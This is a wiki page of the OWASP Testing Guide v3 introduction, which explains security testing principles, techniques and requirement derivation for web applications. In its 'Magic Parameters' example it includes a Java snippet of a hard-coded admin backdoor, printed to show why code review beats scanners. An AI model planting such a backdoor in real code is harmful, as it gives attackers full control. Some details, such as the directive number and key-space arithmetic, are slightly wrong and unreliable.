[3] NIST, ''The economic impacts of inadequate infrastructure for software testing'' - http://www.nist.gov/public_affairs/releases/n02-10.htm

[4] Ross Anderson, ''Economics and Security Resource Page'' - http://www.cl.cam.ac.uk/users/rja14/econsec.html

[5] Denis Verdon, ''Teaching Developers To Fish'' - [[OWASP AppSec NYC 2004]]

[6] Bruce Schneier, ''Cryptogram Issue #9'' - http://www.schneier.com/crypto-gram-0009.html

[7] Symantec, ''Threat Reports'' - http://www.symantec.com/business/theme.jsp?themeid=threatreport

[8] FTC, ''The Gramm-Leach Bliley Act'' - http://www.ftc.gov/privacy/privacyinitiatives/glbact.html

[9] Senator Peace and Assembly Member Simitian, ''SB 1386''- http://www.leginfo.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html

[10] European Union, ''Directive 96/46/EC on the protection of individuals with regard to the processing of personal data and on the free movement of such data'' -
http://ec.europa.eu/justice_home/fsj/privacy/docs/95-46-ce/dir1995-46_part1_en.pdf

[11] NIST, '' Risk management guide for information technology systems'' - http://csrc.nist.gov/publications/nistpubs/800-30/sp800-30.pdf

[12] SEI, Carnegie Mellon, ''Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE)'' - http://www.cert.org/octave/

[13] Ken Thompson, ''Reflections on Trusting Trust, Reprinted from Communication of the ACM '' - http://cm.bell-labs.com/who/ken/trust.html'' [[Category:FIXME|link not working]]

[14] Gary McGraw, ''Beyond the Badness-ometer'' - http://www.ddj.com/security/189500001

[15] FFIEC, '' Authentication in an Internet Banking Environment'' - http://www.ffiec.gov/pdf/authentication_guidance.pdf

[16] PCI Security Standards Council, ''PCI Data Security Standard'' -https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml

[17] MSDN, ''Cheat Sheet: Web Application Security Frame'' - http://msdn.microsoft.com/en-us/library/ms978518.aspx#tmwacheatsheet_webappsecurityframe

[18] MSDN, ''Improving Web Application Security, Chapter 2, Threat And Countermeasures'' - http://msdn.microsoft.com/en-us/library/aa302418.aspx

[19] Gil Regev, Ian Alexander,Alain Wegmann, ''Use Cases and Misuse Cases Model the Regulatory Roles of Business Processes'' - http://easyweb.easynet.co.uk/~iany/consultancy/regulatory_processes/regulatory_processes.htm

[20] Sindre,G. Opdmal A., '' Capturing Security Requirements Through Misuse Cases ' - http://folk.uio.no/nik/2001/21-sindre.pdf

[21] Security Across the Software Development Lifecycle Task Force, ''Referred Data from Caper Johns, Software Assessments, Benchmarks and Best Practices'' -http://www.cyberpartnership.org/SDLCFULL.pdf

[22] MITRE, ''Being Explicit About Weaknesses, Slide 30, Coverage of CWE'' -http://cwe.mitre.org/documents/being-explicit/BlackHatDC_BeingExplicit_Slides.ppt

[23] Marco Morana, ''Building Security Into The Software Life Cycle, A Business Case'' - http://www.blackhat.com/presentations/bh-usa-06/bh-us-06-Morana-R3.0.pdf

Testing Guide Introduction

2009-05-27T12:37:48Z

KirstenS: /* Security Test Data Analysis and Reporting */

{{Template:OWASP Testing Guide v3}}

=== The OWASP Testing Project ===
----
The OWASP Testing Project has been in development for many years. With this project, we wanted to help people understand the ''what'', ''why'', ''when'', ''where'', and ''how'' of testing their web applications, and not just provide a simple checklist or prescription of issues that should be addressed. The outcome of this project is a complete Testing Framework, from which others can build their own testing programs or qualify other people’s processes. The Testing Guide describes in details both the general Testing Framework and the techniques required to implement the framework in practice.

Writing the Testing Guide has proven to be a difficult task. It has been a challenge to obtain consensus and develop the content that allows people to apply the concepts described here, while enabling them to work in their own environment and culture. It has also been a challenge to change the focus of web application testing from penetration testing to testing integrated in the software development life cycle.

However, we are very satisfied with the results we have reached. Many industry experts and those responsible for software security at some of the largest companies in the world are validating the Testing Framework. This framework helps organizations test their web applications in order to build reliable and secure software, rather than simply highlighting areas of weakness, although the latter is certainly a byproduct of many of OWASP’s guides and checklists. As such, we have made some hard decisions about the appropriateness of certain testing techniques and technologies, which we fully understand will not be agreed upon by everyone. However, OWASP is able to take the high ground and change culture over time through awareness and education based on consensus and experience.

The rest of this guide is organized as follows. This introduction covers the pre-requisites of testing web applications: the scope of testing, the principles of successful testing, and testing techniques. Chapter 3 presents the OWASP Testing Framework and explains its techniques and tasks in relation to the various phases of the software development life cycle. Chapter 4 covers how to test for specific vulnerabilities (e.g., SQL Injection) by code inspection and penetration testing.

'''Measuring (in)security: the Economics of Insecure Software''' 
A basic tenet of software engineering is that you can't control what you can't measure [1]. Security testing is no different. Unfortunately, measuring security is a notoriously difficult process. We will not cover this topic in detail here, since it would take a guide on its own (for an introduction, see [2]).

One aspect that we want to emphasize, however, is that security measurements are, by necessity, about both the specific, technical issues (e.g., how prevalent a certain vulnerability is) and how these affect the economics of software. We find that most technical people understand at least the basic issues, or have a deeper understanding, of the vulnerabilities. Sadly, few are able to translate that technical knowledge into monetary terms, and, thereby, quantify the potential cost of vulnerabilities to the application owner's business. We believe that until this happens, CIOs will not be able to develop an accurate return on security investment and, subsequently, assign appropriate budgets for software security. 
While estimating the cost of insecure software may appear a daunting task, recently there has been a significant amount of work in this direction. For example, in June 2002, the US National Institute of Standards (NIST) published a survey on the cost of insecure software to the US economy due to inadequate software testing [3]. Interestingly, they estimate that a better testing infrastructure would save more than a third of these costs, or about $22 billion a year. More recently, the links between economics and security have been studied by academic researchers. See [4] for more information about some of these efforts.

The framework described in this document encourages people to measure security throughout their entire development process. They can then relate the cost of insecure software to the impact it has on their business, and consequently develop appropriate business decisions (resources) to manage the risk. Remember: measuring and testing web applications is even more critical than for other software, since web applications are exposed to millions of users through the Internet.

'''What is Testing''' 
What do we mean by testing? During the development life cycle of a web application, many things need to be tested. The Merriam-Webster Dictionary describes testing as:
* To put to test or proof.
* To undergo a test.
* To be assigned a standing or evaluation based on tests.
For the purposes of this document, testing is a process of comparing the state of a system/application against a set of criteria. In the security industry, people frequently test against a set of mental criteria that are neither well defined nor complete. For this reason and others, many outsiders regard security testing as a black art. This document’s aim is to change that perception and to make it easier for people without in-depth security knowledge to make a difference.

'''Why Testing''' 
This document is designed to help organizations understand what comprises a testing program, and to help them identify the steps that they need to undertake to build and operate that testing program on their web applications. It is intended to give a broad view of the elements required to make a comprehensive web application security program. This guide can be used as a reference and as a methodology to help determine the gap between your existing practices and industry best practices. This guide allows organizations to compare themselves against industry peers, understand the magnitude of resources required to test and maintain their software, or prepare for an audit. This chapter does not go into the technical details of how to test an application, as the intent is to provide a typical security organizational framework. The technical details about how to test an application, as part of a penetration test or code review will be covered in the remaining parts of this document.

'''When to Test''' 
Most people today don’t test the software until it has already been created and is in the deployment phase of its life cycle (i.e., code has been created and instantiated into a working web application). This is generally a very ineffective and cost-prohibitive practice. One of the best methods to prevent security bugs from appearing in production applications is to improve the Software Development Life Cycle (SDLC) by including security in each of its phases. An SDLC is a structure imposed on the development of software artifacts. If an SDLC is not currently being used in your environment, it is time to pick one! The following figure shows a generic SDLC model as well as the (estimated) increasing cost of fixing security bugs in such a model.

<center>[[Image:SDLC.jpg]] 
''Figure 1: Generic SDLC Model'' </center>

Companies should inspect their overall SDLC to ensure that security is an integral part of the development process. SDLCs should include security tests to ensure security is adequately covered and controls are effective throughout the development process.

'''What to Test''' 
It can be helpful to think of software development as a combination of people, process, and technology. If these are the factors that "create" software, then it is logical that these are the factors that must be tested. Today most people generally test the technology or the software itself.

An effective testing program should have components that test ''People'' – to ensure that there is adequate education and awareness; ''Process'' – to ensure that there are adequate policies and standards and that people know how to follow these policies; ''Technology'' – to ensure that the process has been effective in its implementation. Unless a holistic approach is adopted, testing just the technical implementation of an application will not uncover management or operational vulnerabilities that could be present. By testing the people, policies, and processes, an organization can catch issues that would later manifest themselves into defects in the technology, thus eradicating bugs early and identifying the root causes of defects. Likewise, testing only some of the technical issues that can be present in a system will result in an incomplete and inaccurate security posture assessment. Denis Verdon, Head of Information Security at [http://www.fnf.com Fidelity National Financial] presented an excellent analogy for this misconception at the OWASP AppSec 2004 Conference in New York [5]: "If cars were built like applications [...] safety tests would assume frontal impact only. Cars would not be roll tested, or tested for stability in emergency maneuvers, brake effectiveness, side impact, and resistance to theft." 

'''Feedback and Comments''' 
As with all OWASP projects, we welcome comments and feedback. We especially like to know that our work is being used and that it is effective and accurate.

==Principles of Testing==

There are some common misconceptions when developing a testing methodology to weed out security bugs in software. This chapter covers some of the basic principles that should be taken into account by professionals when testing for security bugs in software.

'''There is No Silver Bullet''' 
While it is tempting to think that a security scanner or application firewall will either provide a multitude of defenses or identify a multitude of problems, in reality there are no silver bullets to the problem of insecure software. Application security assessment software, while useful as a first pass to find low-hanging fruit, is generally immature and ineffective at in-depth assessments and at providing adequate test coverage. Remember that security is a process, not a product.

'''Think Strategically, Not Tactically''' 
Over the last few years, security professionals have come to realize the fallacy of the patch-and-penetrate model that was pervasive in information security during the 1990’s. The patch-and-penetrate model involves fixing a reported bug, but without proper investigation of the root cause. This model is usually associated with the window of vulnerability shown in the figure below. The evolution of vulnerabilities in common software used worldwide has shown the ineffectiveness of this model. Fore more information about the window of vulnerability please refer to [6]. Vulnerability studies [7] have shown that with the reaction time of attackers worldwide, the typical window of vulnerability does not provide enough time for patch installation, since the time between a vulnerability being uncovered and an automated attack against it being developed and released is decreasing every year. There are also several wrong assumptions in the patch-and-penetrate model: patches interfere with the normal operations and might break existing applications, and not all the users might (in the end) be aware of a patch’s availability. Consequently not all the product's users will apply patches, either because of this issue or because they lack knowledge about the patch's existence. 

<center>[[Image:WindowExposure.jpg]] 
''Figure 2: Window of Vulnerability''</center> 
To prevent reoccurring security problems within an application, it is essential to build security into the Software Development Life Cycle (SDLC) by developing standards, policies, and guidelines that fit and work within the development methodology. Threat modeling and other techniques should be used to help assign appropriate resources to those parts of a system that are most at risk.
 
'''The SDLC is King''' 
The SDLC is a process that is well-known to developers. By integrating security into each phase of the SDLC, it allows for a holistic approach to application security that leverages the procedures already in place within the organization. Be aware that while the names of the various phases may change depending on the SDLC model used by an organization, each conceptual phase of the archetype SDLC will be used to develop the application (i.e., define, design, develop, deploy, maintain). Each phase has security considerations that should become part of the existing process, to ensure a cost-effective and comprehensive security program.
 
'''Test Early and Test Often''' 
When a bug is detected early within the SDLC, it can be addressed more quickly and at a lower cost. A security bug is no different from a functional or performance-based bug in this regard. A key step in making this possible is to educate the development and QA organizations about common security issues and the ways to detect and prevent them. Although new libraries, tools, or languages might help design better programs (with fewer security bugs), new threats arise constantly and developers must be aware of those that affect the software they are developing. Education in security testing also helps developers acquire the appropriate mindset to test an application from an attacker's perspective. This allows each organization to consider security issues as part of their existing responsibilities.
 
'''Understand the Scope of Security''' 
It is important to know how much security a given project will require. The information and assets that are to be protected should be given a classification that states how they are to be handled (e.g., Confidential, Secret, Top Secret). Discussions should occur with legal council to ensure that any specific security need will be met. In the USA they might come from federal regulations, such as the Gramm-Leach-Bliley Act [8], or from state laws, such as the California SB-1386 [9]. For organizations based in EU countries, both country-specific regulation and EU Directives might apply. For example, Directive 96/46/EC4 [10] makes it mandatory to treat personal data in applications with due care, whatever the application.
 
'''Develop the Right Mindset''' 
Successfully testing an application for security vulnerabilities requires thinking "outside of the box." Normal use cases will test the normal behavior of the application when a user is using it in the manner that you expect. Good security testing requires going beyond what is expected and thinking like an attacker who is trying to break the application. Creative thinking can help to determine what unexpected data may cause an application to fail in an insecure manner. It can also help find what assumptions made by web developers are not always true and how they can be subverted. This is one of the reasons why automated tools are actually bad at automatically testing for vulnerabilities: this creative thinking must be done on a case-by-case basis and most web applications are being developed in a unique way (even if using common frameworks).
 
'''Understand the Subject''' 
One of the first major initiatives in any good security program should be to require accurate documentation of the application. The architecture, data-flow diagrams, use cases, and more should be written in formal documents and made available for review. The technical specification and application documents should include information that lists not only the desired use cases, but also any specifically disallowed use case. Finally, it is good to have at least a basic security infrastructure that allows the monitoring and trending of attacks against an organization's applications and network (e.g., IDS systems).
 
'''Use the Right Tools''' 
While we have already stated that there is no silver bullet tool, tools do play a critical role in the overall security program. There is a range of open source and commercial tools that can automate many routine security tasks. These tools can simplify and speed up the security process by assisting security personnel in their tasks. It is important to understand exactly what these tools can and cannot do, however, so that they are not oversold or used incorrectly.
 
'''The Devil is in the Details''' 
It is critical not to perform a superficial security review of an application and consider it complete. This will instill a false sense of confidence that can be as dangerous as not having done a security review in the first place. It is vital to carefully review the findings and weed out any false positive that may remain in the report. Reporting an incorrect security finding can often undermine the valid message of the rest of a security report. Care should be taken to verify that every possible section of application logic has been tested, and that every use case scenario was explored for possible vulnerabilities.
 
'''Use Source Code When Available''' 
While black box penetration test results can be impressive and useful to demonstrate how vulnerabilities are exposed in production, they are not the most effective way to secure an application. If the source code for the application is available, it should be given to the security staff to assist them while performing their review. It is possible to discover vulnerabilities within the application source that would be missed during a black box engagement.
 
'''Develop Metrics''' 
An important part of a good security program is the ability to determine if things are getting better. It is important to track the results of testing engagements, and develop metrics that will reveal the application security trends within the organization. These metrics can show if more education and training are required, if there is a particular security mechanism that is not clearly understood by development, and if the total number of security related problems being found each month is going down. Consistent metrics that can be generated in an automated way from available source code will also help the organization in assessing the effectiveness of mechanisms introduced to reduce security bugs in software development. Metrics are not easily developed, so using standard metrics like those provided by the OWASP Metrics project and other organizations might be a good head start. 
'''Document the Test Results''' 
To conclude the testing process, it is important to produce a formal record of what testing actions were taken, by whom, when they ware performed, and details of the test findings. It is wise to agree on an acceptable format for the report which is useful to all concerned parties, which may include developers, project management, business owners, IT department, audit, and compliance. The report must be clear to the business owner in identifying where material risks exist and sufficient to get their backing for subsequent mitigation actions. The report must be clear to the developer in pin-pointing the exact function that is affected by the vulnerability, with associated recommendations for resolution in a language that the developer will understand (no pun intended). Last but not least, the report writing should not be overly burdensome on the security tester themselves; security testers are not generally renowned for their creative writing skills, therefore agreeing on a complex report can lead to instances where test results do not get properly documented.

==Testing Techniques Explained==

This section presents a high-level overview of various testing techniques that can be employed when building a testing program. It does not present specific methodologies for these techniques, although Chapter 3 will address this information. This section is included to provide context for the framework presented in the next hapter and to highlight the advantages and disadvantages of some of the techniques that should be considered. In particular, we will cover:
* Manual Inspections & Reviews
* Threat Modeling
* Code Review
* Penetration Testing

=== Manual Inspections & Reviews ===
'''Overview''' 
Manual inspections are human-driven reviews that typically test the security implications of the people, policies, and processes, but can include inspection of technology decisions such as architectural designs. They are usually conducted by analyzing documentation or performing interviews with the designers or system owners. While the concept of manual inspections and human reviews is simple, they can be among the most powerful and effective techniques available. By asking someone how something works and why it was implemented in a specific way, it allows the tester to quickly determine if any security concerns are likely to be evident. Manual inspections and reviews are one of the few ways to test the software development life-cycle process itself and to ensure that there is an adequate policy or skill set in place. As with many things in life, when conducting manual inspections and reviews we suggest you adopt a trust-but-verify model. Not everything everyone tells you or shows you will be accurate. Manual reviews are particularly good for testing whether people understand the security process, have been made aware of policy, and have the appropriate skills to design or implement a secure application. Other activities, including manually reviewing the documentation, secure coding policies, security requirements, and architectural designs, should all be accomplished using manual inspections.

'''Advantages:'''
* Requires no supporting technology
* Can be applied to a variety of situations
* Flexible
* Promotes teamwork
* Early in the SDLC

'''Disadvantages:'''
* Can be time consuming
* Supporting material not always available
* Requires significant human thought and skill to be effective!

=== Threat Modeling ===
'''Overview''' 
Threat modeling has become a popular technique to help system designers think about the security threats that their systems/applications might face. Therefore, threat modeling can be seen as risk assessment for applications. In fact, it enables the designer to develop mitigation strategies for potential vulnerabilities and helps them focus their inevitably limited resources and attention on the parts of the system that most require it. It is recommended that all applications have a threat model developed and documented. Threat models should be created as early as possible in the SDLC, and should be revisited as the application evolves and development progresses. To develop a threat model, we recommend taking a simple approach that follows the NIST 800-30 [11] standard for risk assessment. This approach involves:
* Decomposing the application – understand, through a process of manual inspection, how the application works, its assets, functionality, and connectivity.
* Defining and classifying the assets – classify the assets into tangible and intangible assets and rank them according to business importance.
* Exploring potential vulnerabilities - whether technical, operational, or management.
* Exploring potential threats – develop a realistic view of potential attack vectors from an attacker’s perspective, by using threat scenarios or attack trees.
* Creating mitigation strategies – develop mitigating controls for each of the threats deemed to be realistic. The output from a threat model itself can vary but is typically a collection of lists and diagrams. The OWASP Code Review Guide outlines an Application Threat Modeling methodology that can be used as a reference for the testing applications for potential security flaws in the design of the application. There is no right or wrong way to develop threat models and perform information risk assessments on applications. [12]. 

'''Advantages:'''
* Practical attacker's view of the system
* Flexible
* Early in the SDLC

'''Disadvantages: '''
* Relatively new technique
* Good threat models don’t automatically mean good software

=== Source Code Review ===
'''Overview''' 
Source code review is the process of manually checking a web application's source code for security issues. Many serious security vulnerabilities cannot be detected with any other form of analysis or testing. As the popular saying goes “if you want to know what’s really going on, go straight to the source." Almost all security experts agree that there is no substitute for actually looking at the code. All the information for identifying security problems is there in the code somewhere. Unlike testing third party closed software such as operating systems, when testing web applications (especially if they have been developed in-house) the source code should be made available for testing purposes. Many unintentional but significant security problems are also extremely difficult to discover with other forms of analysis or testing, such as penetration testing, making source code analysis the technique of choice for technical testing. With the source code, a tester can accurately determine what is happening (or is supposed to be happening) and remove the guess work of black box testing. Examples of issues that are particularly conducive to being found through source code reviews include concurrency problems, flawed business logic, access control problems, and cryptographic weaknesses as well as backdoors, Trojans, Easter eggs, time bombs, logic bombs, and other forms of malicious code. These issues often manifest themselves as the most harmful vulnerabilities in web sites. Source code analysis can also be extremely efficient to find implementation issues such as places where input validation was not performed or when fail open control procedures may be present. But keep in mind that operational procedures need to be reviewed as well, since the source code being deployed might not be the same as the one being analyzed herein [13]. 

'''Advantages:'''
* Completeness and effectiveness
* Accuracy
* Fast (for competent reviewers)

'''Disadvantages:'''
* Requires highly skilled security developers
* Can miss issues in compiled libraries
* Cannot detect run-time errors easily
* The source code actually deployed might differ from the one being analyzed

'''For more on code review, checkout the [[OWASP Code Review Project|OWASP code review project]]'''. 

=== Penetration Testing ===
'''Overview''' 
Penetration testing has been a common technique used to test network security for many years. It is also commonly known as black box testing or ethical hacking. Penetration testing is essentially the “art” of testing a running application remotely, without knowing the inner workings of the application itself, to find security vulnerabilities. Typically, the penetration test team would have access to an application as if they were users. The tester acts like an attacker and attempts to find and exploit vulnerabilities. In many cases the tester will be given a valid account on the system. While penetration testing has proven to be effective in network security, the technique does not naturally translate to applications. When penetration testing is performed on networks and operating systems, the majority of the work is involved in finding and then exploiting known vulnerabilities in specific technologies. As web applications are almost exclusively bespoke, penetration testing in the web application arena is more akin to pure research. Penetration testing tools have been developed that automate the process, but, again, with the nature of web applications their effectiveness is usually poor. Many people today use web application penetration testing as their primary security testing technique. Whilst it certainly has its place in a testing program, we do not believe it should be considered as the primary or only testing technique. Gary McGraw in [14] summed up penetration testing well when he said, “If you fail a penetration test you know you have a very bad problem indeed. If you pass a penetration test you do not know that you don’t have a very bad problem”. However, focused penetration testing (i.e., testing that attempts to exploit known vulnerabilities detected in previous reviews) can be useful in detecting if some specific vulnerabilities are actually fixed in the source code deployed on the web site. 

'''Advantages:'''
* Can be fast (and therefore cheap)
* Requires a relatively lower skill-set than source code review
* Tests the code that is actually being exposed

'''Disadvantages:'''
* Too late in the SDLC
* Front impact testing only!

=== The Need for a Balanced Approach ===
With so many techniques and so many approaches to testing the security of web applications, it can be difficult to understand which techniques to use and when to use them.
Experience shows that there is no right or wrong answer to exactly what techniques should be used to build a testing framework. The fact remains that all techniques should probably be used to ensure that all areas that need to be tested are tested. What is clear, however, is that there is no single technique that effectively covers all security testing that must be performed to ensure that all issues have been addressed. Many companies adopt one approach, which has historically been penetration testing. Penetration testing, while useful, cannot effectively address many of the issues that need to be tested, and is simply “too little too late” in the software development life cycle (SDLC).
The correct approach is a balanced one that includes several techniques, from manual interviews to technical testing. The balanced approach is sure to cover testing in all phases of the SDLC. This approach leverages the most appropriate techniques available depending on the current SDLC phase.
Of course there are times and circumstances where only one technique is possible; for example, a test on a web application that has already been created, and where the testing party does not have access to the source code. In this case, penetration testing is clearly better than no testing at all. However, we encourage the testing parties to challenge assumptions, such as no access to source code, and to explore the possibility of more complete testing.
A balanced approach varies depending on many factors, such as the maturity of the testing process and corporate culture. However, it is recommended that a balanced testing framework look something like the representations shown in Figure 3 and Figure 4. The following figure shows a typical proportional representation overlaid onto the software development life cycle. In keeping with research and experience, it is essential that companies place a higher emphasis on the early stages of development.
<center>
[[Image:ProportionSDLC.png]]
 ''Figure 3: Proportion of Test Effort in SDLC''
</center>
The following figure shows a typical proportional representation overlaid onto testing techniques. 
<center>
[[Image:ProportionTest.png]]
 ''Figure 4: Proportion of Test Effort According to Test Technique''
</center>

'''A Note about Web Application Scanners''' 
Many organizations have started to use automated web application scanners. While they undoubtedly have a place in a testing program, we want to highlight some fundamental issues about why we do not believe that automating black box testing is (or will ever be) effective. By highlighting these issues, we are not discouraging web application scanner use. Rather, we are saying that their limitations should be understood, and testing frameworks should be planned appropriately.
NB: OWASP is currently working to develop a web application scanner-benchmarking platform. The following examples indicate why automated black box testing is not effective.
 
'''Example 1: Magic Parameters''' 
Imagine a simple web application that accepts a name-value pair of “magic” and then the value. For simplicity, the GET request may be: ''<nowiki>http://www.host/application?magic=value</nowiki>'' To further simplify the example, the values in this case can only be ASCII characters a – z (upper or lowercase) and integers 0 – 9. The designers of this application created an administrative backdoor during testing, but obfuscated it to prevent the casual observer from discovering it. By submitting the value sf8g7sfjdsurtsdieerwqredsgnfg8d (30 characters), the user will then be logged in and presented with an administrative screen with total control of the application. The HTTP request is now: ''<nowiki>http://www.host/application?magic= sf8g7sfjdsurtsdieerwqredsgnfg8d </nowiki>'' 
Given that all of the other parameters were simple two- and three-characters fields, it is not possible to start guessing combinations at approximately 28 characters. A web application scanner will need to brute force (or guess) the entire key space of 30 characters. That is up to 30^28 permutations, or trillions of HTTP requests! That is an electron in a digital haystack!
The code for this exemplar Magic Parameter check may look like the following: 
public void doPost( HttpServletRequest request, HttpServletResponse response)
{
String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;
boolean admin = magic.equals( request.getParameter(“magic”));
if (admin) doAdmin( request, response);
else …. // normal processing
}
By looking in the code, the vulnerability practically leaps off the page as a potential problem.
 
'''Example 2: Bad Cryptography''' 
Cryptography is widely used in web applications. Imagine that a developer decided to write a simple cryptography algorithm to sign a user in from site A to site B automatically. In his/her wisdom, the developer decides that if a user is logged into site A, then he/she will generate a key using an MD5 hash function that comprises: ''Hash { username : date }'' 
When a user is passed to site B, he/she will send the key on the query string to site B in an HTTP re-direct. Site B independently computes the hash, and compares it to the hash passed on the request. If they match, site B signs the user in as the user they claim to be. Clearly, as we explain the scheme, the inadequacies can be worked out, and it can be seen how anyone that figures it out (or is told how it works, or downloads the information from Bugtraq) can login as any user. Manual inspection, such as an interview, would have uncovered this security issue quickly, as would inspection of the code. A black-box web application scanner would have seen a 128-bit hash that changed with each user, and by the nature of hash functions, did not change in any predictable way.
 
'''A Note about Static Source Code Review Tools''' 
Many organizations have started to use static source code scanners. While they undoubtedly have a place in a comprehensive testing program, we want to highlight some fundamental issues about why we do not believe this approach is effective when used alone. Static source code analysis alone cannot identify issues due to flaws in the design since it cannot understand the context in which the code is constructed. Source code analysis tools are useful in determining security issues due to coding errors, however significant manual effort is required to validate the findings.
 

==Security Requirements Test Derivation==
If you want to have a successful testing program, you need to know what the objectives of the testing are. These objectives are specified by security requirements. This section discusses in detail how to document requirements for security testing by deriving them from applicable standards and regulations and positive and negative application requirements. It also discusses how security requirements effectively drive security testing during the SDLC and how security test data can be used to effectively manage software security risks.

'''Testing Objectives''' 
One of the objectives of security testing is to validate that security controls function as expected. This is documented via ''security requirements'' that describe the functionality of the security control. At a high level, this means proving confidentiality, integrity, and availability of the data as well as the service. The other objective is to validate that security controls are implemented with few or no vulnerabilities. These are common vulnerabilities, such as the [[OWASP Top Ten]], as well as vulnerabilities that are previously identified with security assessments during the SDLC, such as threat modeling, source code analysis, and penetration test.

'''Security Requirements Documentation''' 
The first step in the documentation of security requirements is to understand the ''business requirements''. A business requirement document could provide the initial, high-level information of the expected functionality for the application. For example, the main purpose of an application may be to provide financial services to customers or shopping and purchasing goods from an on-line catalogue. A security section of the business requirements should highlight the need to protect the customer data as well as to comply with applicable security documentation such as regulations, standards, and policies.

A general checklist of the applicable regulations, standards, and policies serves well the purpose of a preliminary security compliance analysis for web applications. For example, compliance regulations can be identified by checking information about the business sector and the country/state where the application needs to function/operate. Some of these compliance guidelines and regulations might translate in specific technical requirements for security controls. For example, in the case of financial applications, the compliance with FFIEC guidelines for authentication [15] requires that financial institutions implement applications that mitigate weak authentication risks with multi-layered security control and multi factor authentication.

Applicable industry standards for security need also to be captured by the general security requirement checklist. For example, in the case of applications that handle customer credit card data, the compliance with the PCI DSS [16] standard forbids the storage of PINs and CVV2 data and requires that the merchant protect magnetic strip data in storage and transmission with encryption and on display by masking. Such PCI DSS security requirements could be validated via source code analysis.

Another section of the checklist needs to enforce general requirements for compliance with the organization information security standards and policies. From the functional requirements perspective, requirements for the security control need to map to a specific section of the information security standards. An example of such requirement can be: "a password complexity of six alphanumeric characters must be enforced by the authentication controls used by the application." When security requirements map to compliance rules a security test can validate the exposure of compliance risks. If violation with information security standards and policies are found, these will result in a risk that can be documented and that the business has to deal with (i.e., manage). For this reason, since these security compliance requirements are enforceable, they need to be well documented and validated with security tests.

'''Security Requirements Validation''' 
From the functionality perspective, the validation of security requirements is the main objective of security testing, while, from the risk management perspective, this is the objective of information security assessments. At a high level, the main goal of information security assessments is the identification of gaps in security controls, such as lack of basic authentication, authorization, or encryption controls. More in depth, the security assessment objective is risk analysis, such as the identification of potential weaknesses in security controls that ensure the confidentiality, integrity, and availability of the data. For example, when the application deals with personal identifiable information (PII) and sensitive data, the security requirement to be validated is the compliance with the company information security policy requiring encryption of such data in transit and in storage. Assuming encryption is used to protect the data, encryption algorithms and key lengths need to comply with the organization encryption standards. These might require that only certain algorithms and key lengths could be used. For example, a security requirement that can be security tested is verifying that only allowed ciphers are used (e.g., SHA-1, RSA, 3DES) with allowed minimum key lengths (e.g., more than 128 bit for symmetric and more than 1024 for asymmetric encryption).

From the security assessment perspective, security requirements can be validated at different phases of the SDLC by using different artifacts and testing methodologies. For example, threat modeling focuses on identifying security flaws during design, secure code analysis and reviews focus on identifying security issues in source code during development, and penetration testing focuses on identifying vulnerabilities in the application during testing/validation.

Security issues that are identified early in the SDLC can be documented in a test plan so they can be validated later with security tests. By combining the results of different testing techniques, it is possible to derive better security test cases and increase the level of assurance of the security requirements. For example, distinguishing true vulnerabilities from the un-exploitable ones is possible when the results of penetration tests and source code analysis are combined. Considering the security test for a SQL injection vulnerability, for example, a black box test might involve first a scan of the application to fingerprint the vulnerability. The first evidence of a potential SQL injection vulnerability that can be validated is the generation of a SQL exception. A further validation of the SQL vulnerability might involve manually injecting attack vectors to modify the grammar of the SQL query for an information disclosure exploit. This might involve a lot of trial-and-error analysis till the malicious query is executed. Assuming the tester has the source code, she might learn from the source code analysis on how to construct the SQL attack vector that can exploit the vulnerability (e.g., execute a malicious query returning confidential data to unauthorized user).

'''Threats and Countermeasures Taxonomies''' 
A ''threat and countermeasure classification'' that takes into consideration root causes of vulnerabilities is the critical factor to verify that security controls are designed, coded, and built so that the impact due to the exposure of such vulnerabilities is mitigated. In the case of web applications, the exposure of security controls to common vulnerabilities, such as the OWASP Top Ten, can be a good starting point to derive general security requirements. More specifically, the web application security frame [17] provides a classification (e.g. taxonomy) of vulnerabilities that can be documented in different guidelines and standards and validated with security tests.

The focus of a threat and countermeasure categorization is to define security requirements in terms of the threats and the root cause of the vulnerability. A threat can be categorized by using STRIDE [18], for example, as Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege. The root cause can be categorized as security flaw in design, a security bug in coding, or an issue due to insecure configuration. For example, the root cause of weak authentication vulnerability might be the lack of mutual authentication when data crosses a trust boundary between the client and server tiers of the application. A security requirement that captures the threat of non-repudiation during an architecture design review allows for the documentation of the requirement for the countermeasure (e.g., mutual authentication) that can be validated later on with security tests.

A threat and countermeasure categorization for vulnerabilities can also be used to document security requirements for secure coding such as secure coding standards. An example of a common coding error in authentication controls consists of applying an hash function to encrypt a password, without applying a seed to the value. From the secure coding perspective, this is a vulnerability that affects the encryption used for authentication with a vulnerability root cause in a coding error. Since the root cause is insecure coding the security requirement can be documented in secure coding standards and validated through secure code reviews during the development phase of the SDLC.

'''Security Testing and Risk Analysis''' 
Security requirements need to take into consideration the severity of the vulnerabilities to support a ''risk mitigation strategy''. Assuming that the organization maintains a repository of vulnerabilities found in applications, i.e., a vulnerability knowledge base, the security issues can be reported by type, issue, mitigation, root cause, and mapped to the applications where they are found. Such a vulnerability knowledge base can also be used to establish a metrics to analyze the effectiveness of the security tests throughout the SDLC.

For example, consider an input validation issue, such as a SQL injection, which was identified via source code analysis and reported with a coding error root cause and input validation vulnerability type. The exposure of such vulnerability can be assessed via a penetration test, by probing input fields with several SQL injection attack vectors. This test might validate that special characters are filtered before hitting the database and mitigate the vulnerability. By combining the results of source code analysis and penetration testing it is possible to determine the likelihood and exposure of the vulnerability and calculate the risk rating of the vulnerability. By reporting vulnerability risk ratings in the findings (e.g., test report) it is possible to decide on the mitigation strategy. For example, high and medium risk vulnerabilities can be prioritized for remediation, while low risk can be fixed in further releases.

By considering the threat scenarios exploiting common vulnerabilities it is possible to identify potential risks for which the application security control needs to be security tested. For example, the OWASP Top Ten vulnerabilities can be mapped to attacks such as phishing, privacy violations, identify theft, system compromise, data alteration or data destruction, financial loss, and reputation loss. Such issues should be documented as part of the threat scenarios. By thinking in terms of threats and vulnerabilities, it is possible to devise a battery of tests that simulate such attack scenarios. Ideally, the organization vulnerability knowledge base can be used to derive security risk driven tests cases to validate the most likely attack scenarios. For example if identity theft is considered high risk, negative test scenarios should validate the mitigation of impacts deriving from the exploit of vulnerabilities in authentication, cryptographic controls, input validation, and authorization controls.

===Functional and Non Functional Test Requirements===
'''Functional Security Requirements''' 
